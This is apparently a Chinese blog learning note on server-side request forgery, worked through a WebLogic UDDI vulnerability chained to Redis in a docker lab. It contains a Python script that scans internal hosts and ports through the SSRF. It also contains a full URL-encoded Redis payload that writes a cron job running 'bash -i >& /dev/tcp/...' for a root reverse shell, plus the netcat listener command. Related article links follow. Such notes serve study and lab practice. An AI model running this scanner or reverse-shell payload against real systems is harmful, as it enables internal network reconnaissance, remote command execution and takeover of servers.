SSRF深入学习
爆出来的直接关于SSRF的漏洞有俩,①是weblogic,②是discuzz
SSRF漏洞最主要的部分并不是SSRF 探测内网,而是可以写shell,反弹shell,虽然很多厂家把它归为低危漏洞,仔细想,SSRF漏洞还是挺重要的,不鸣则已,一鸣惊人,一但利用成功,还是很牛批。比如说SSRF + XXE ,SSRF + redis ,,
仔细想想,上面这段话,一般对,一半不对,不先探测内网咋知道都开启了哪些服务,有哪些漏洞。当然,有的时候也没准有别的漏洞也可以探测内网环境。
对了,这里十分推荐特别经典的SSRF教材,猪猪侠SSRF PPT
关于weblogic 的介绍
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
weblogic 漏洞影响的版本是 weblogic 10.0.2 -- 10.3.6 从Oracle 官网最低只找到了10.3.6的版本, 因为安装weblogic需要卸载jdk,就看了几遍别人总结的文章,权当自己也复现过了。

文章来源: https://www.cnblogs.com/yuzly/archive/2019/05/23/10903398.html
其中有一部需要反弹shell,当时练这个是啥都不知道
昨天先去学习了shell语言,因为练啥是反弹shell之前都没见过,,比较逗比的事情就是昨天还再群里问各位大佬,为啥我这个shell根本反弹不了(当时用的bash命令,用的Windows系统。。。。)

然后去安装了一上午redis....原谅我有点笨
参考的文章: https://www.cnblogs.com/hunanzp/p/12304622.html 写的很不错
接下来就是SSRF的一种利用方式,注入HTTP头,可以使用burp抓包或者用hackbar把编码好的语句直接插入进去,利用redis反弹shell
简要过程
先判断是否存在SSRF漏洞,确定之后在判断C段中都有哪些存活主机,然后探测此主机开放的端口,这里需要注意的是,如果端口是开放的,访问会显示 404 或者 403 禁止,如果端口是关闭的,则会显示 400 不存在,或者连不上
这里我们可以用一个小脚本来测试哪些常见端口开放
import thread
import time
import re
import requests def ite_ip(ip):
for i in range(1, 256):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
print final_ip
thread.start_new_thread(scan, (final_ip,))
time.sleep(3) def scan(final_ip): //直接修改vul_url即可
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
for port in ports:
vul_url = 'http://192.168.0.132:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
try:
#print vul_url
r = requests.get(vul_url, timeout=15, verify=False)
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
result2 = re.findall('but could not connect', r.content)
result3 = re.findall('No route to host', r.content)
if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
print '[!]'+final_ip + ':' + port
except Exception, e:
pass if __name__ == '__main__':
ip = "172.18.0"
if ip:
print ip
ite_ip(ip)
else:
print "no ip"
端口测试回显 weblogic测试的时候返回的不同状态
- 端口存在返回状态码returned a 404 error code
- 端口不存在but could not connect over HTTP to server
- 非http协议:did not have a valid SOAP content-type 协议没写:no protocol


具体返回什么你可以试一试,反正如果存在SSRF漏洞,端口存在和不存在返回的状态一定是不同的,(你可以一个个去试,也可以写个python脚本,还有一个简单方法就是用brup爆破模块探测C段主机和端口的开放)
节省时间,就自己到docker里去查看了一下ip

探测出开启了redis服务
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor
=&selfor=Business+location&btnSubmit=Search&operator=http://172.23.0.2:6379/
这里主要是operator=这里可进行操作,直接redis写shell就可以,
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
解码之后就是这样,这里一定要注意编码问题,换行是 %0d%0a ,用工具转换的话只有

然后我们把构造好的数据包通过burp进行发送 , 将url编码后的字符串放在ssrf的域名后面,发送:

接着靶机上开启端口监听,nc -lvnp 21 ,反弹shell。成功。

(关于redis写shell,在分类里面有文章专门介绍),
这里需要声明的是权限必须是root权限,否则无法进行写shell,不过对于redis攻击还有一种方法不需要root权限也可以进行利用,就是利用redis的主从模式,详细文章在分类里面有介绍。
原理就是把shell写到crontab定时任务里面,然后再改名成root,这么做的原因是在 /var/spool/cron/ 这个目录下root 是会系统定时执行的(需要注意,不同的操作系统,写文件的目录有所不同,在kali和ubantu中,其文件位置为/var/spool/cron/crontabs/root,在centos系列中位置为/var/spool/cron/root,通常情况下没有root文件,需要自己创建)
这里需要强调一点就是编码的问题,部分代码需要手动编码!!!!
(注意每条命令必须是%0d%0a分割,测试过只用%0a不成功,而且最后一条命令后面需要再随机加一行文本)
现在SSRF直接利用redis写shell的情况应该不是很多,主要的原因就是权限问题,利用redis写shell需要root权限,而新版本的redis以redis权限启动,并且一般用户都是以普通用户权限开启redis服务。
小米SSRF漏洞
http://xss.one/bug_detail.php?wybug_id=wooyun-2016-0215779
体验盒子 SSRF漏洞文章
https://www.uedbox.com/post/10524/
先知社区 红日安全的SSRF 写的很不错!!
https://xz.aliyun.com/t/6235
SSRF深入学习的更多相关文章
- ssrf漏洞学习(PHP)
自己最近原本是想深入的学习一下关于xss.csrf的东西的,可是感觉这些东西需要有很好的js的基础来进行学习..还有感觉自己感觉也差不多该要学习内网渗透了..正好ssrf在内网这一块也是比较有用的.于 ...
- 简单的SSRF的学习
自己眼中的SSRF 成因 服务端允许了 可以向其他服务器请求获取一些数据 通过各种协议 http https file等(外网服务器所在的内网进行端口的扫描指纹的识别等) 一SSRF配合redis未授 ...
- SSRF漏洞学习
SSRF SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内 ...
- 2019-11-28:ssrf基础学习,笔记
ssrf服务端请求伪造ssrf是一种由恶意访问者构造形成由服务端发起请求的一个安全漏洞,一般情况下,ssrf访问的目标是从外网无法访问的内部系统,正式因为它是由服务端发起的,所以它能请求到它相连而外网 ...
- CEYE平台的使用
0x01 CEYE 是什么 CEYE是一个用来检测带外(Out-of-Band)流量的监控平台,如DNS查询和HTTP请求.它可以帮助安全研究人员在测试漏洞时收集信息(例如SSRF / XXE / R ...
- phpStudy后门分析及复现
参考文章:https://blog.csdn.net/qq_38484285/article/details/101381883 感谢大佬分享!! SSRF漏洞学习终于告一段落,很早就知道phpstu ...
- SSRF 跨站请求伪造学习笔记
参考文章: 了解SSRF,这一篇就足够了 SSRF 学习之路 SSRF绕过方法总结 Weblogic SSRF漏洞 What-是什么 SSRF(Server-Side Request Forgery) ...
- 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞
目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...
- SSRF学习
前言 SSRF(Server-Side Request Forgery ,服务器端请求伪造) 是一种由攻击者构造形成由服务器发起请求的一个安全漏洞 SSRF的主要攻击目标为外网无法访问的内部系统. 本 ...
随机推荐
- FL Studio钢琴卷轴之刷子工具以及其他
上一篇文章我们重点讲解了FL Studio钢琴卷轴的画笔工具,今天我们就来讲解钢琴卷轴窗口中剩下的工具.由于接下来的工具都很简单,所以我们将放在一起讲,现在就和小编一起来看看FL Studio钢琴卷轴 ...
- 对于AQS的理解
1.JUC包中的 CountDownLatch.CyclicBarrier.ReentrantLock和Semaphore都是基于AQS(AbstractQuenedSynchronizer)实现的 ...
- 我给 Apache 顶级项目提了个 Bug
这篇文章记录了给 Apache 顶级项目 - 分库分表中间件 ShardingSphere 提交 Bug 的历程. 说实话,这是一次比较曲折的 Bug 跟踪之旅.10月28日,我们在 GitHub 上 ...
- P3619 魔法
考虑两个任务 \(1\) 和 \(2\),当前时间为 \(T\),两个任务都要完成. 先完成任务 \(1\) 的条件是 \(T>t_1\) 且 \(T+b_1>t_2\),先完成任务 \( ...
- activiti数据表介绍
activiti6.0数据库介绍 Acitiviti6.0数据库中一共有28张表,表的命名都是以ACT_开头的.第二部分是一个两个字符用例表的标识. 用于自我学习记录,后期不定期更新~~~ 数据库描述 ...
- zk可用性测试
1.首先起3个zk: 2.观察主从情况: 3.连接集群观察心跳: 4.kill掉master: 可以看到客户端在重试几次后链接到了新的master,且seesionid没有改变. 5.观察现在的主从: ...
- Linux(Ubuntu16.04)下的MediaWiki的部署启动
一.服务器部分 使用XAMPP配置MediaWiki部署所需要的环境. 1. 查看服务器的版本与位数: sudo lsb_release -a //查看系统版本 uname -a ...
- 利用Postman和Chrome的开发者功能探究项目
利用Postman和Chrome的开发者功能探究项目 controller层研究 前两天忙着写开题报告,没有来得及做项目,今天继续研究一下这个项目. 上次研究到后端的DAO层,研究了一下后端和数据库交 ...
- 单体->集群->模块化->分布式微服务
开头语: 每篇一段开头语,在技术的道路中寻找文采的乐趣.(如果随笔中都是大白话勿喷,兄弟姐妹们) 单体项目 单体项目适用于小型开发,或自己来进行小项目的测试和使用. 单体项目的缺憾 多人开发项目所出现 ...
- Spring Cloud 学习 (三) Feign
新建 spring-cloud-eureka-feign-client Module pom <parent> <artifactId>spring-cloud-parent& ...